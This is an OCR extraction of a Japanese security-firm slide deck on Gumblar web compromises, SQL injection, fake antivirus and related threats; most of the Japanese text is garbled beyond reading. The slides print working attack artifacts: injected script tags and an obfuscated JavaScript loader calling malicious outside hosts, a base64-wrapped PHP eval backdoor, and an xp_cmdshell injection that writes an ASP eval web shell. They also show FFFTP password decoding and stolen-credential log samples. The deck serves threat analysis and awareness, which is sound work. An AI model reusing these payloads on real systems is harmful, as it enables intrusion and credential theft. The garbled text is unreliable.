(il

2009 DRBIHUE20104

HRFTVRMOEFLYTF1/INDE,

HRstt 7>
BEOETDFT1AA,

= - YA R—UATR AT
= = £ P SLES
ﬁ: =-—v; sales@lac.co.jp

Little eArth Corporation http://www.lac.co.jp/



mailto:sales@lac.co.jp

TREALEZOY R BHEE BT, KRUEEEE LT 27T TS —

19864F . Bkt T Z71IRR LI E L=, "Little eArth Corporation” 2V )4 121X, ITOHERE THIERH
RN EZL 720 CQUKH T, ITEZERICERCEEDREBE XL TWVIHEVOBEEN IO HILTVET,
MR EF 2T ARUF —LL T, 1I5FEIEKDB ERFZEPBEREDFEHDIETT,

JSOC (Tt R) . YA N—JRIVBERET . YA N\—HE L Z—DEUEIFE T,

VN KE==2—a—7F 74X USLAC
Tjicc LTiz/eilth Corporation Co., Ltd. 3102_0093 SFURHR TR BCFRTAT 2-16-1 i
SEFRIHTFRS T — FREYU IV F2#t CSLAC

19864F(F6 14F)9 H 03-6757-0111(fXF) Cyber Security LAC Co.,Ltd.
— 03-6757-0113 (EZER&R M)
11485,942 56,500 -thE ¥ 744 LAC CHINA

REGUHEEALE SUTRBLE 750 3 HRR] T Z7A LTV AR3F

5,138 77 [ (24341 : 20094F03 A ) HERAT AR http://www.lac.cojp/
T460-0008 4 BT X 53-15-27 sales@lac.co.jp

2,342 73 M (2311 : 20084203 H H) 4B IFYE L 9F

http://twitter.com/lac_security
YouTube F+ > JL laccotv

2SI E A Tz X537 A ZRIRE T

7,154 E 5 (2281 : 2007412 H #f)

B JSOC (Japan Security Operation Center)
JSOCIXL, Zv 73 E 5 FH 2741
4234l —arkra2—T9, BERLY
W AT LR ELREEEY ., 24KFE365 H
BE, BEROWE &xf‘/*/—?*‘/bia‘ﬁs&%ﬁ%
ZELBL TUVET, 20004ED FLN - Y3y
DOER -BEREZRZYIIZ, BADES \E?TOD
ry PR E RN, LD 2
TANERINDBERICEOR ME R —
EREBRMELTOETS,

35244 (20104E4 A HiAE)

B PEEB B X 2 )T (A B S
THHREF 2T 4w ROAN AT L
(ISO/IEC 27001)7FZFEEE(JSOC)
TIANY—~—IRE RS

opnvriaht ©2009 | ittle eArth Coronoration Co | td




L b WwWo o A)

P8 A 5 BB csse

FEFn334E wrE RN AR
REFn5943 A REAKRZTER AT ER IR
REFN5944 A &M BT B R A A ASL
Bf614£104 BRREttIo7 At

BERY TNz TRINVY =T OBBITHEE, 1993FERAV DY — A A=y ARV 7 #tE
BEL., A—7POS ( WindowsPOS) Z it Sz Fe BRI BR 38 - EEERR A, 20004EL0F% =V
TABEIZHEZEL, BARRKEDO X2V T 42 Z—]JSOCDOELELESLH EIF %2179,
IHRBITANE A% X5 ECTOF /=72 B~ DI 70X RIEE .

BHREX VT4 RET —<ICBIT. KFE, TOMAREAN, £F, FEITAUM,
BIF—72ETOREE. FTE - HESE R E~DOFRESLE

WARITy7 B HHITHRE REEMRES REIERY BF RGBT 5EMIERNS £E (20074~)
YAN—YRTREEHFERT IPA X274 & 70T 70 T %% T EITEE (20074~)
. VAN H— _ (BF) B A BSOS 2 VA2 S EGH XS HRAER
BEREFIEBEAN BARROIN —rEda) T S BE 20094F BETE L. R #ATS 4 1 #1815 20084E ~ ) HBiIE R E £ &

BEIEEFIEEIEAN AR )T EEYS HE
Fe B R— 22T ary)— 7 A HE EERE

_____________________________________________________________________________________________________________________

sl 2TA—RIS | 7ay Bao |
EARBI O LS a) TRy T i”’#.@ ; | |-@

http://it.nikkei.co.jp/security/column/nishimoto_security.aspx | Y A& — http://twitter.com/dry2

____________________________________________________________________________________________________________________

S

L econvriahnt ©20009 Little eArth Corporation Co L td


http://it.nikkei.co.jp/security/column/nishimoto_security.aspx?n=MMIT2g000001102008

1. EEEDOFRIEZDRER




= E——

FE4E . 20094 22220 T- il e

~d

D %E’ﬁ"”x—

@ HIAT A EE
@ WVWEWIkAHXSS
@ 5771

® USB







B — IR BB A

B BRAEHEAL TR ESE HERITHRRX
R —=A)V B RS EIR N E K
VEZNERDT T H =2 AR
VA —I~<F5 3730004

__________

jJ_F%E ¥ —7 7900
B B — AR OB

7

Convriaght ©2009 | ittle eArth Corporation Co | td




26%

9399 saL
5% 422 193

Explolt 19%

B (20094F)
I n'l‘_{i (=—8644) 1@%% =) ( £ *itt)

20084 : 5214
20074F: 4314 20064F: 3444

¥BOT

I 2 —FTANAD—FE

WBEN NI EROMBIODEE 0T T A,
ootz Var#@)Ry DI EDOEEIHIE TS,

HEA
12%

BgA

24%
FEAEZT,
EHRo T2 ?

RE
8%

D
47%

LA

LITIHAT B®E

Convriaght ©2009 | ittle eArth Corporation Co | td



O B LI EENL DR AT

@ X2V T /A ZENI, ERITRHA,

@ ADFEEILEIEIZ/ 2> TR




[16 KB Folderisr O Filelsh 1 Total 1 [ jl







@ AT AIEE
— D UIETH T F7— D%,




Gumblar} 3 EH\

WS ASNTEWeb A M2 il U TR R Z 0 21

2009 FREICERIBUERZ 55-72, 2000FEZBL TA—Tar Ty
ZRRDIRL ., 20095 KR IZRIGLAE EHIE NEH,

« 20094 IZHA T LT~/ =T LT, Confickert i A TEHEIF A,

= ZUIEEHL Toa—RIZRIGTALEVODIL, BEICFEEIZ2,
REELHEEZZ T TNAIEHEREN, —E~RaI0HE

= Confickerb Y FITLIZ0., TNEDOT AT AEE | TIERISZITRHRY,

WebH A "R EAIN T, AT =T ZEAAL CLELTZEWVHER O T MBI E
BEIMZHRLT VY,




GumblarfsSol JSOK

SER AR %@%Wﬁzi))g%/"‘ 77:../(/\ /l‘o)’fﬁm

800
-IDFFEHDITZV
. T B Y E A
600
/\
400
Gumblar
- USB#E HH TR
200 AT AEE
\//\/// Conficker. E D4
T
2009/1 5009,/12

-9 H>Rk&11 A ZGumblarHJSIGZBINL7-Z & T, iR 2 KEBICH R
-JSOCOKI10% DI FAR TR ZFER (BHE 1T 1%~ 2% E)

A—H DT RF ¥ TRERTEXRV > 2EKD08EIIJISIG TR A

ANV ARIE Y TR THR R TEXRWN = BPTELT T — IR EEND

14




CumblarisSHiT T RN T e

O YA ZHI AL, YANRETEED [
INTAANEE R AN AZ DAL

© YA V’” BOT BT MEREFERL

® Foft, VE—IhbH Va2 B
720, R A IRIE BT D,

riaht ©2009 | i




BEANNIZNTI, BIUEEATIIR IS,
FBENILEFEINEIDDRAUR,

B AFRIRZVLTH. .
A REIZAENTH.

Ho Rz LT ESRDNETIEN, |

CIAZ REZH !




féf\@ﬁiﬁﬂ rJJ:b?‘)%J

HFEOHRNZEZ R !
H o DfEMmEEZL !

TR HIAVEYRA !
P —ERELRLIOAN?




FFFTP@a%i?*; { )%

FEFTPMD /AT — AR5 1R AT

1. fiftp.iniZ7 7A/V 2. LY AN
' ] bag [ab|Bmarks

[FFFTP¥0pt i ons¥Host0] . @@ Bk | BHostads
Set =0 . LuJ EAIEIJII ‘ HostNa.me
HostName=test | ] Windows He :;ZZZ:E;:CI
HOSt -&d r8:1 92 A 168 & ]g. 1 8 mnjows ::I RemoteDir
Userhame=test &3 Windows S| Bt

LocalDir= Qv (B

LocalDir=

Password=XNe [WyNaMT
Sort =¥FF¥FF¥FF¥FF

Bmarks=

Zmotelir= Iocalhos 8 ﬂ:f;ﬂ:;”gi"s
Passwo rd= KR NRERE @] ODBG
ort PRI 50 Fos

. @] RimArts

—_— P e

Bmar - @] Smart Projects
- B+ Sota JOEST
[FFFTP¥0pt i ons¥Host 1] i Eggz:m e
HostName=test? » -3 tos pRsTVHaHT
o 5 D {:l VMware, Inc.
HostAdrs=test .23 UNICODE Frogram oot |
Use rName:t ect? D Volatlle Enwronme-




FFFTPOREZ 71

FEETPD /S AT — R fEHT

/2 FFETPO) AT — MR BB R akiesy —)b | T2 B =P ~ Wikdaws ltermet Explirer =18l x|
@:} v IQ http:/ ren-pe.jp/deffttphtml j ’im” ‘E’JQ )E : Ib Live Search ‘fi‘
FHAME REE FEW BECANE WD AT
L BRIEAD @ FRFTPOMAT - FEEN IS SR BRI | T
FEETP/ A2 —ERSY—)L | BFHY—IL DT B

FFFTPO /S A —F&ERZ=LE T

FRFT Pl e s e s T
D=FBY 282k FovFk

2| h, Enter encrypted password text ot I {F
ST 2 [KNelWNaMT

X EH|IETCCaT T Taeet T,

PIIZD RN — L
RD-EREY—I) [~ JOR T AP TS,

Ot A& NavascriptlZRLWTVWET , AQSTho ) iRT —FE S —1 EISE(E
(T TBYEBAD TR,

B —ILIEDNT
FFFTPIZZOY S LY —R (CER)WARFSNTEY, TNEAHZIETH AT —F BT RIEERA LN TER
a—o

TOY—R%EN =2 | Davascript THEEHELICbOD ZO Y —) L&l F T, N
Javascripty —R1IZON—VOU =2 FRtEh THYEITO T, ZBHICH{ENGIEN,

HOME | &hfEtf—F | LATLEE | ITr-ER | BEEFEA GBEOSHE

Copyright© 2007 en-PC Servece. All Rights Reserv

®

19 . . .




Gumblar{Z /@

TS0 PFIARTFEL THOAL DT TERENS

Uid0::222D99F6"~222D99F6  222D99F6 ..
mix1

PS_::idgumblar01” "~ password http://mixi.jp/ Amazon
PS_ ::idgumblar01@gmail.com” password https://www.amazon.co.jp/gp/sigr ('1;“ Hinl
mai

PS_::idgumblar01” " password https://www.google.com/accounts/Login
Basic wu\;IE

PS_::testuser  password jsoc.example.jp:80/Please enter your ID and password

~~ <~ g @;
PS_::gumblar01™ " password348  http://jsoc.example. jp/secret/login.html Basicstiat

WScp::id3939 ™ ~password3939 192.168.0.1

o - WinSCPIZ & g% L 7-FTP{E #
FF_::gen gengen 192.168.0.1

FFFTPIZ &L 7-FTPIE#




WSANE B

BEERR e AL oTIHMERRDD ?

<script
src=http://download.ir/archives/anti_spyw
are/hacker.php ></script>

<{script src=http://protech-
uk.co.uk/images/roundrep.php ></script>)




h$t@e@(@t) p@(#:41@/&@@)/ @& 1&&&n&#)f$)Ho($1)i)!n@()
k@ s&-—
#(1@c@o0)&m#t.(y$@a) #1&1&&a$k! (@o$#r &a!(!!.&c 1)$o&m
&H@.#x!b&$0&&x&! @-

#@&c H(o#!(@m#. '&g&((u@it)&!d@#)e @(b!$&)&a( @t#HS
"HiHr@u":))8@)$&03$81&07)/ @3y # o(u(@@@k))u#&. (&
#c 0@#m@ #/(ly&(Oolutk$0@u$).(@&c$o&m /!1g$&0 o!)($
g (&l) @e)$).))c$$#o($m$ /) (p&(1$$e!n)!t@@y(o! &)PH(f$
@'ith) $&st(@#h(1#!#. #&$c@@o()! mH($#/(&@s))H oft n&(i$)
)@c$$0 .Dc!lo@&)m$)/$! .replace 0
)

http://infolinks—com.yallakora.com.xbox—
com.guidebat.ru:8080/youku.com/youku.com/google.com/plentyoffish.com/sonico.com/

22 *opvriaht ©2009 | ittle eArth Cornoration Co | td



a—R{bR

base64_decode(’ZXZhbChiYXNINJRfZGVjb2RIKCdaWFpoYkNoaV1lY TmxOalJm
WkdWamlyUmxLQ2RhV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1]JeVVit
eExRM1JoVjBad2IxbHJUbTloVm14WIZHMTRUMkZzU20xWGEyUlhZVzFKZ
VZWdAGVFeFJNbEp2Vm1wR2MyUnNUbkpYVkZaVVVtdHdXRIpYTVVOVELE
QjRVMjVPV21WckbWUmMFSekZQWkZaT2RXSkZkRTVXUIVVeFZsVmFUMk
Z0VmtaalJGWnBVa2RTUzFWcV]JtRmpWbXhXV1hwU1IVMUhPVFEFZaVkVwecll
WWktObUV6YkZ0aVJUVKVWR3hrU21Wcl1dsaE9Wa0pzVmxWd2VsZHNWb
XRqTURGR1QxUldVbUZ0ZUV0VIZtaERaREZrZEdKSE9XcFNNREUyVmtjeE
S5HRXhSWGxhUOVWWVVTrVmESRIpWV2xabFJsWiBVMnQwVG1KdFozbFhh
Mk40Vm0xS2MyRkdVbWhOTUVweldrUk9RMk14YOVoTIZXUnFUVWhTUIZa
WE1XRIdIRXBWWWtaV1YyRXhjRFpaYIRGTFUwVTVWVk50UmxaTm]JFcHI
WWHBHVTJWc1RYaGpSbXhvVTBWS2NsVnJhRTIVUmbCelVsUnNVVIV5V
G5kVE1WSjZVRk5qYOVOVWNGEMG5LU2s3 JykpOw==")

BRIy IR T LU TEME,

if($_GET[’testorrr’]=="1")Y{ echo ’i love you’; exit; }
if(isset($_POST['love DX

eval($_POST[’love’]);

exit;

}




INSTRRy I RT
PIFDXoa~wr ReAfrPxriar L INSI IR T EVERR T 5,

€ _»

exec master..xp_cmdshell ‘echo <%eval(request(“a”))% > >c:¥inetpub¥wwwroot¥/NX72/ 3w 7R 7T .asp’

| <eval(request(“a”))% > |

LR Ee o/ NE o 7R T LRI, T 7 4V hDOR—IZ I THD AT O ZBLE 5,
) ROV —R: file:///E-/ BRetneedl /iisstart.asp — Mozilla Firefox B | i ;_I_Q_[ﬁj

TrAE) REE FTM ALTH

<P ID=messagel>Web 4 FEBEN, COAvT—JVZFRhHE-TRELLEEZ SIS,
[IS NLFCHD o T o YvzERE L UECT S 28BLTLIZE 0,

<Zeval (request ("a”)) %>

<hS ID=headl>1IS N FIZTF IR THIZIPREETLTLEZE L)y, /A

<ol>

<li ID=bullet>Xb>[AR—FK/D> 2V v Z2LTHhE b7 74 I B%IEEL TET]
b EDV) 2 LET,

<li ID=bul let2><b>[RRIIK/Db> > 2 AIZ Tinetmgrl EAFLET, 1S %= vhHi

FrnonET,

<li ID=bul let3><b> [N FKb> AZa—ma [ FE v 2O88FRKb> 22w oL

7,

<li ID=bulletd><b>[A /R —F v b A F3A—3 7 U—EIARKD> 22 LF
g <o

<Zeval request ("BiN)%>

PAVL P2 b
G

l 1 55, 71| 24

N KA

DI IRT %
POST TRV L
ZFERE/ N IR T %




R U . ol g%ﬁ‘g&/\ w IR

On\)_]J..,u: aww)@

| PRUAR [£) b5 /1192168184 128 3cx s /c35 355 pagsame=server AN A1 W ot 5heit Back Duse - uspshell ~muditien by fresdtim = Mt Intsnet Eepins ‘ =ipix|
i )Izu fack Door  sspshell ~maddmd by framidlm - Mcrasedt briw Faa bl 3] -@ ﬁ” mbw ?W R ’
Server . \
DM KD BT MA@ WD AN Om-) 3] D, e wmn £ ‘
o.; \J _] _1] . l PR e =) ey| ?F!_lpl._]wv/-‘lm‘.qmnn:ﬂ.’mcu.«r_n D e ﬂ_a_ﬂ:ﬁ?_'
BaRE "‘WWF’W /102 168 134128/ 327 s /3 4o Baga Narwes fim Eservec) Borcess] Brood Puscripe.sbels) IMs HucaBasel
BEEn
TTRENGE Edecver Biceemal Ermd EWson L92, 168,184,028 « Wecripe. Shell Sack Dost
BE TR 193,460,104, 120 - T30 Dack Door FaTH: |Cad exe _ watript.shell _]!!
Comnannd/ g:
BABRRES NN TPRA: AR: CR: DR: FTURMFBAL : | (WZRSIIFI-TRIAGRIE V’:_ . ':‘:.:u Ea
FATI e Linetpub)scriprs sl LU \|:|1 asky - Microsoft Internet Explorer 3
ok cons. s s 5. =2 e spseenc: oy | TPAME) BEE  ®TW aaw\n@ *y-»(p AT | @
WRxE | W o
_g__] RN ‘o vanetpub\ soript @E& O u [j b [ BMU @ ]
I EeTa e aHE #4 PEVAD) [&] hip//192168244.132/scripts/—JasppageName=FsoF ileExplorer&thePath=CX3AMC | : 2N
anadlsl. asp 258
e T New | Ren | Edit] open | copy | cut] past| attr| ni] pel| up| pown | 2
Dib, A 50, 68 E'lFIC:\" 3 |r4| v =l
k.a2p n.w
cas, 08 55.1K
darkblede.asp  T0.68 D E] D
SIIaT, TP 3T Ij D
f4secarv.eap; 1K ASFRoot Documents an Inetpub Microsoft UA Program File  RECYCLER
Shtisiog. it 409K d Settings M Volune s
m tzzzzzze.hical ®
] :
. " Systen Volum D D D D
@ e Informatio VINNT arcldr.exe arcsetup.exe AUTOEXEC.BAT boot.ini
R -
e [) # #@ O D
bootfont.bin  CONFIG.SYS 10.5Y% MSDOS. 5YS NTDETECT.COM ntldr

CDEHEEEIR NN IR T EMFEHL T, |
1. BRHEAAE

; f
0. SRRT—REHE - ko N7 — 2B 15 A T

pagefile.sys

Serv-U ASP
I
1
d?? Rl@sak# .k, 0@P
! /(/2 ]\_./]/ passwor [#i@$ak
i port?? la43958
1

3. Z7ANVKIS A BRERE EAITEREEE R e

I N N N N i Ay VAN A Ay iy = VI VN SV VNSV SV SUSVENTVE.




AR, 27)§ <z <script defer="1" src="http://zol-com—cn.pantip.com.slickdeals—
R jﬁ‘ﬂé R net.thehomelabs.ru:8080/allocine.fr/allocine.fr/google.com/accuweat
{script>var her.com/elpais.com/”>

qK="dfd5d3fdca9acfded5e6f4bbd9cdd5c9a3fbd6fbcfd0fdccc8c9d1f4f5d3dbe2d
bfbedd7ebd3cbf9efddebcOedf8fbdafdf9ddcechbfof8f4c9c8dec9dacdc3dbfcdedla
9cbfacfcdeddabfcdebdd9cd”;var HW=new

<H&>

var ehhtten.m.baesolru:80807,
<B&>
</scripty <SCRIPT

src="“http://dirtysin.ru:8080/google.com/4shared.com/digg.com.ph
p ” defer></SCRIPT>

<script>function EQfvar o={C:61787};sY=["h","jZ”,”1”];var c=false;var t=document;var jj={V:false};var Y="body”;var Wg=1;var
j=window;var M=new String(”crewSdp”.substr(0,3)+” Qxjate”.substr(3)+ Ele”+ men”+"t”);var
i=String("sc”+”AuYri”.substr(3)+”Thpt”.substr(3));var v=String(“onlo”+”ad”);SC=29286;SC+=65;var d=new
String(“appen”+”dChil”+”daKrD”.substr(0,1));this. MX=32688;this. MX—=77;this.vb=38295;this.vb—=63;var b=new
String("src”);q={sl:false};var YX=String(”defe”+"r”);var tg=false;try {var w="EU’} catch(w){};function m({this.cK="";var dO=57453;var
ks=new Date();var mF="mF”;try {this.ZW="";0N=[1;var
s=String("htt”+"p:/"+”/di"+"rty”+” qyhsin”.substr(3)+”06zg.ru”.substr(4)+”:M4pd” .substr(0,1));P=43451;P++;try {var CG="ksA’}
catch(CG){;try {var Bt="1U’} catch(Bt){};this.D="";var ghb=6158-6157;var MP="";var
k="/govpk”.substr(0,3)+” oglxhXN”.substr(0,3)+”e.c”+”om/”+"4sh”+”are”+"nKWd.cKWn”.substr(3,3)+”om/”+”OzWSdig” .substr(4)+
”5mNMg.c”.substr(4)+”om.”+”phpkmlK”.substr(0,3);var Ah={WD:false};var 0S=[];var A=430602-422522;var SQ=new Date();var
fG=[1; AO=t[M]();var Hf={mv:false};var OR={kx:"nW”};var sUH=16274;var br="";var jB="";A0[bl=s+A+k;s]J=[1;AO[YX]=gb;try {var
Vd="XB’} catch(Vd){};Bd=28214;Bd++;var Qb=new Array();var qp={J:50917};t[Y][d](AO);eU={Ce:"R"};var RC=false;} catch(jg}{var
xR={};};var pn={0OY:”XE"};}ilvl=m;};this.oi=false;this. WnW=26464;this. WnW+=151;E();Ha=32456;Ha—;var UG=new Array();</script>




WS AHNE

.htaccess%

.htaccess7 7ANNT w7 —R3I, BREFANNPLDOT 7EARA404, 403728
DTT—PERIDHEBBY ANZT 7 BARIND

FELLIX119D [BEDSEKIBE B D030 WA | 22 & T &V,

| laccotv .htaccess l -k




E1XGumblar TIE7h o 7otk S A B
apache DFEYa— /L EX¥Z b,

TIRALIZa—WFIZUAN AR T m—REE T2

l
— B9 5L Gumblar DX Rz 505, Eidroot S EHIL T

OGumblar Ty 7R T ZERK
@/ RT7 Dxbexploita—RZFELTL . rootHE:
(@apache DFEY 2 — VEIEBH DL DIZEH

Bl — 2R
HIDLEYRZ LTV H,

28




N JRT

foTxPav aJ Ay




2]“—7"//~—xlf2|i




Gumblar—

T, T R e Sy

T l\‘l‘*iﬁ’&%ﬁﬁ&?

> '.M"-

nje%lov

s 3

} Dis|P

.;5. injector = .hue'étc

Inisctar ,:" : .\ .'f

Inj eclo'
lmecmr

@Jn‘jeclor
, dnjoctor ’$
¥ lnjoctor J
; lmwor
4

: . / y
JGC | i ,
&1 q[ ‘ lmec_(qr g 5 -
ejecior mcclcg., atohery o ¢ Gumblar Spreading

lnjew X :
"‘m“ayocm’mcw’ T ' Y T S LB 4 AR ‘Pu'sthSSLDDoSliR(I)‘J-:’,'wI ’

nJeotor,
lrueclor%' : ¥
p“f.m. : 5 : AW o i ‘ FIPFP 4> MAME TR TE R |
) y S : . il | - 3 k¥ " x
Wicjocror 8 ctO@iectc SR LG, A ‘ FTP = JUSHIEDT o 2L, d&AT BhA

jarget
T rtet :




CAPTCHA%Z 22—
LELED

e g

YL Y

32

*opvriaht ©2009 | ittle eArth Cornoration Co | td



1) ITAERO 2 BRER AT 28
a2 U R [0, S -

2) ITHRFERZ20

@ YA NARF ¥ o> T ?
@ 7 FUAINWARSTH ?
@ Ty TF AR TZEIN A TUNRNZ LYoo

@ FTPOUZ o TEZIZHBATTN?
® FHLEHFTPo T ?




3) ITAIFRII®HAITE X2V T4 ITBfR
TANARAF % L TCRBITFITRLRBATLL?
S>THEDEBRZ7ANVI1 7 ARIOLDTT e

4) FTPEEE N E XK (BINTHB)
HEROTHHNZEZL R END

—1¢,

WETH, TOLAERMN, . .

[9BbDV AT L8P, 88

]

B R—2RX—VIIFRRT 2 OFEN B LD 0T,

T BT /W

W, VAT AIIFHR AT 2ERFH L) BV A Z,

34




b,

ABRITRHEVIZTH L,




® WEWNIEAHXSS




@ 157K




MS Antivirus

ANTIVIRUSPro -9

What is Spyware

Home Download BuyOnline Billing Support

Customer Support

pe— you do anline
\ What is Antivirus Pro 20097

Click button to download
Antiviruspro 2009 Now! Antivirus Pro 2008 is your comprehensive, allin-one security solutio

5 ot intrusions, ammoying adware, identity theft, and all kinds of malware
advanced removal capabilities with state-of-the-art momtoring and )

Insice your PC!

Er ¢

apeads

WINDEFENDER 2009

spywure dintriction toc

Get rid of mallware now!
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About WinDefender 2009

» Perfect Defender 2009
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@ 30 day money back guarantee
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Members Area

Spyware, like a virus, ls a mallelous
woftware plantedan your PG by a third
prrly |n arder to secrstly monitorwhat

Qnee your brawaing habits are
nonlyzed, you am llooced with endless
Commemials, Popups and Spam fram

only security software you need for vour home PC. Equally trusted Spywn e nlso dmmatically slows down

your computerancd nleriwl canmmection

Bpyware colleots your private
Intarmntkan nndd steals your idenfity,

Micro Antivirus 2008 an award winning
spywara ramoval utility will help you fighting all
kincls of spyware and adware Ineluding
keyloggers, trojan horses, passwore thieves ancd
an,

Basic signs of Spyware infection

N the answer 1o o of these guestions in “Yes' then you nre probably Infecled
| Yourcomputer bme slowsd cdown
2. Your Internat connsotion spesd ha s decren sed

4 You have downloaded music or softwam from (e Webh

fsswords, arecit ool cetals o ather

4. You getpapupsand annoying ads whenyou'te online or sometimes even offline

Sign up For our n

SafeSoft reviews wi/ishoyy you the Top
available right now:. Check out our exhaustive soft
and choose the best protection for your pec.

Protect yourself from spyware!

Perfect Defender 2009 is a powerful cutting-edge software that
provides your system utmost security against spyware, viruses,
trojans, worms and all kind of malicious programs that pose a

serious threat. GOLD CERTIFIED

Partner

Perfect Defender 2009 is easy-to-use software with simply
customizable options and maximal protection efficiency.

Enjoy the safe Internet experience. Don't worry anymore about hackers, phishers and other online
frauds.
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File Options Mew Process Find Users Help
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Process

PID | ©PU | Description

| Gompany Name |

B : System ldle Process
"Interrupts
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=] ijstem
=) Esmssem
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Alert ! Your system is infected!

Support

" Remove Viruses

Antivirus XP 2008

Elsassem

=) g explorer gxe
Widware Trayexe

iasxplore 2xe
m procexpaxe

ﬁpphc?eSiOe\ergm
gaconime BXe

Reame Protectic

| Infected: 1583

x|

Antivirus XP 2008 has found 1583 threats. It is recommended to proceed with removal. i

1 OO |

Infected!
Infected!
Infected!
Infected!
Infected!
Infected!
Infected!
Infected!
Infected!
Infected!
Infected!
Infected!

Infected! ;I

€J System information
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@ Win32/adware.Sear... Program is used to direct a browser to display pop-..  High
@ Win32/ddware.Sear... Program is used to direct a browser to display pop-..  High
& Win32/Adware.Sear... Program is used to direct a browser to display pop-..  High
@  Win32/IRCBot.AAH The IRCBot.24H malware family is a group of bot ... High
@ Win32/IRCBot.AsH The IRCBot.&4AH malware family is a group of bat ... High
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Antivirus has found 1575 viruses on your computer. It is
recommended to disinfect files as soon as possible.
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Folow

aHROcDovL2)pdC5seS8xN2EzdFMc¢

aHROcDovLZdeCSseS9MTZZSTyeodHRwO;&valOme S5Lohz2

about 2 howrs 2go fro

aHROcDovLZdeCSseSSxNZwORmEgaHROcDovlapdCSseSSxN

about 47 rs 200 Tre
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about 4 hours 280 fram D
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about & howrs 290 froen web

aHROcDovL 2JpdCSseS9RakFaWQ==
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s 290 from well
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) e o 4o 7 Home Profile Find People Settings Help Sign cut

Name upd4t3
20 7

following followers

Tweets 235

Favorites

Actions
block upd4rl

Folliowing
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Let's ook at one of the update messages; it's pretty clearly basefd encoded, What does it say?

§ echo "aHREOcDowlL2 JpdCS5se393NINTViigaHROcDowvL2 JpdCEse38ySZ9 Ihu==""
openss31l hasecd -d
hxxp://hic. 1y/Ra3TV hxxp:/ hitc. lyv/Z2EoHo

2k, a couple of links/Ong is dead (to a pastebin), one is live.

astebin.com/pastebin.php?dl=m5222dc70

paste.debian.net/43529/download/43529



http://pastebin.com/pastebin.php?dl=m5222dc70
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VoIP Tech Chat

Amazon EC2 SIP Brute Force Attacks on Rise

12 comments

Update #1: 12 APR 2010. Amazon NOC’s response.

Update #2: 12 APR 2010. Amazon Statement. - ___.l.'

Update #3: 13 APR 2010. Amazon Response.  T1T] amazon
| | | “%  webservices"

Complaints of rampant 5IP Erute Force Attacks coming from servers with T S )

Amazon BZZ 1P Addresses cause many admins to simply drop all Amazon BZ2
traffic. Generally, SIP brute force attacks atternpt to register various peer names
to a system and/or attempt to guess passwords of known/guesses peers or endpaoints.

The complaints mentioned this weekend show an excessive amount of traffic; with some providers claiming
&GE of traffic dedicated to such attacks. Since we ourselves received an attack from an Amazon hosted senver,

we also reported and complained to the Amazon NOC/ Abuse depts. As—efthicpectigaresparsa—ar
aclerewtedgermertasbeerrecabredfrer-Srrazers The response from Amazon is below.

There are warious techniques to assist with minimizing DDoS and Erute Faorce attacks, such as limiting access
via the public internet, using strong passwords, not mapping extension name to peer/endpoint name,
limiting simultaneous calls, and aggressively monitoring usage. Automatic blocking of abusive IP's (fail2ban,
blockhosts, etc.) can also assist with minimizing damage.

[ Update #1: 12 APR 2010, "Response” from Amazon’s NOC ]

Sowhen this happened, | submitted a report to Amazon complaining of the attack. The report was sent to their
abuse and noc mails and contained the standard abuse report, including their host, my host, the protocol,
ports, and description of activity; as well as a sample log.

About 48 hours later, they sent this as a response:

457/amazon—ec2—sip—brute—force—attacks—on-rise/
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Telephone flood Thread Optio

T8
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Jld call

You have an offender? Or can be at yvou there

it? we'll help you! &&)6%3—_\‘*ﬁ® r%@i@‘] 2‘—‘*‘—“’\0)&*%0

Let's shower with calls any mobile, stationary rx‘fﬁﬁ'ﬂ%fﬁ%ﬁﬁ%tf:@)ﬁm:b ‘i‘ﬂ'/u?b) ‘? &)Z)I/ \ﬁ:\ E\‘T‘/\‘

LS4, LK, Europe, Russia and others, *Z@ﬁ%ﬁ?ﬁ:b \ﬂf‘ﬁ'}uﬁ5 ‘? %5‘/ ‘5;&@%7%72%&@:‘5@‘”
BRI, FEPOHENTONRNIIITLIZNEEWER

3 h = 25 {1 number) A/i)) ? q:jzﬁ 75§EJH’§@‘ ! #’j{k—]\l/f‘/ \Z)ﬂﬂiﬁbi*@\ %@\

12 h = 50§ (1 rmben) 0y 7T, 1ESHIY, IRERRDL10R L, SRERIARD25R L,

1h = 10% {1 number)

1 day = 150% (1 number) 3'5 E '690]“‘/]/\ . E 726150]\\‘}1/'6@-0 }yt\/:‘/“,\,»_'@i@%<
I1CQ 7230, XNV HFEITEF~RX—TT, |

Payment - \WebMoney {wmz)

Give u test,

___________________________________________________________________________________
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ZEWM A ac.cojp support' <iteuro@lac. co.jp:

M- <itsuro@lac. cojpr

B setting for your mailbos itsurot@lac.co.jp are changed  HIEGZ Wed, B May 2010 17:25:06 +0100 ! = g
SMTP and POF3 zervers faor itsurof@lac. cojp mailbox are changed. Pleaze carefully read the attached instructions before
updating zettings.
EWA: “123geetings con’” owo@rmmmm o R iswo@ummm e

hitp://groupz. google. com/ group// googlepop/vwebd setup. zip

R CETER I N—7

4: You Received Onine Greetng Card  HIIRY: Wed, 12 May 2010 152758 +0630

View as Web Page

misterseven farmstar perlox
?n%zsi{gresreven tarzanka. gorl}lm
settings—mailservl monerxmonerx gor lix
alieness videoxman ferixs
mailov luxxxx mraks
mailsv3 setuper misterxyz
mailsv4 systemsorbs ferzom
ma}%S\ll5 Mmonerxmonerx nolaflm ©123Greetings.com
mails2 iglaaa goblinx OO L g IO
mails3 smogggly juicedx Gmail ALUS = Fdaxuh U=5- 9:35 Zof v A |BEAY
mails4 partersss bitrixs COOSlC TJIw—7
ggﬁ:g £000000g nonstops
pop3smtp startersss bkaboy RobWELE:
f,ﬁ‘;gggp mimozkaa mamapapabrat BITTBITIZ, ROV TEA S TR,
googlepop ZIppuix fwebizetup. zip?ada=vp3sAzwAAADMH a0 xHeVXVdu 1 RSSIDPO-
smtpsmtp creterx IOWAXNTemfiHY3t3vmepOnYiGgMi1 RacD7tBrY z9Wm-ajimzVoAFUIET ¢ fAL
gnomm zeraxer
?é?.ﬁgieg%mp:;:; mozilloid SN —J%ELEBS - Google £, —7 - Gooale F—L - PIFMAE - 5017 — AU —
leanrock traxers @2010 Google
djwoodo tacumbex .
2 ?:Eitiri%Sf Mmorozx Iﬁ Jvy—7 T &j— ‘_'C‘_&_j:_tE{ .F _%-3--2(-/ } fi‘? :Hf —/r—]-\%)- ———————————————————————————————— .
' https://docs.google.com/leaf?id=0BxwkuMIROFFdMzZiNTQ1ZDAtZGNhNi0 !
:L OMWESLLWE2M2QtOWFhZGYwZDZiNTdk&hl=en ._
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Share your thoughts and idess with the world - FEATURES COMMUNITY FEATURED SITES SUPPORT

